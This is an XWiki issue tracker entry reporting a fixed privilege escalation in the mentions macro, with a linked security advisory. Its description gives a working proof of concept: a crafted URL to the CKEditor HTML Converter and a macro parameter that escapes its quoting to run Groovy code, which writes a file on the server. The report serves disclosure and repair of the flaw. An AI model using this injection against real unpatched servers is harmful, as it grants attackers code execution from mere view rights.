



Privilege escalation (PR) from view rights through the mentions macro

Details

Type:	Bug	Resolution:	Fixed
Priority:	Blocker	Fix Version/s:	13.10.6, 14.4
Affects Version/s:	12.5-rc-1		
Component/s:	Mentions		
Labels:	None		
Difficulty:	Unknown		
Documentation:	https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-c5v8-2q4r-5w9v		
Documentation in	N/A		
Release Notes:			
Similar issues:			

Description

Steps to reproduce:

Open the URL

```
<server>/xwiki/bin/view/Main?sheet=CKEditor.HTMLConverter&language=en&sourceSyntax=xwiki%252F2.1&stripHTMLEnvelope=true&fromHTML=false&toHTML=true&text=%7F%3E%20out.println(~%22owned!~%22)%3B%20%7D%7B%7B%2Fgroovy~%7D~%7D%7B%7B%2Fasync~%7D~%7D%22%2F%7D%7D
```

Alternatively:

Create a page with content

```
{{mention reference="XWiki.Translation" anchor="{{/html~}}{{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}}{{groovy~}}new File("~/tmp/exploit.txt~").withWriter { out -> out.println(~"owned!~"); } {{/groovy~}} {{/async~}}"/}}
```

(or insert this in the description of the user profile).

Expected result

No file /tmp/exploit.txt is created.

Actual result

A file /tmp/exploit.txt with content owned! is created on the server (if the server is running Linux, on Windows this might need to be adjusted to use a different path).

This demonstrates a privilege escalation to programming rights with just view rights through insufficient escaping of parameters in the mentions macro, exploited through the HTML Converter of CKEditor that allows parsing and rendering arbitrary XWiki syntax without edit rights. Alternatively, edit rights on any page (can be the user's profile) are needed.

Issue Links

is caused by

[XWIKI-17421](#) Support Mentions in platform

CLOSED

links to



[Github Security advisory](#)

Activity



There are no comments yet on this issue.

▼ People

Assignee:

 Manuel Leduc 

Reporter:

 Michael Hamann 

Votes:

0 Vote for this issue

Watchers:

1 Start watching this issue

▼ Dates

Created:

20/May/22 16:19

Updated:

08/Sep/22 14:27

Resolved:

23/May/22 09:05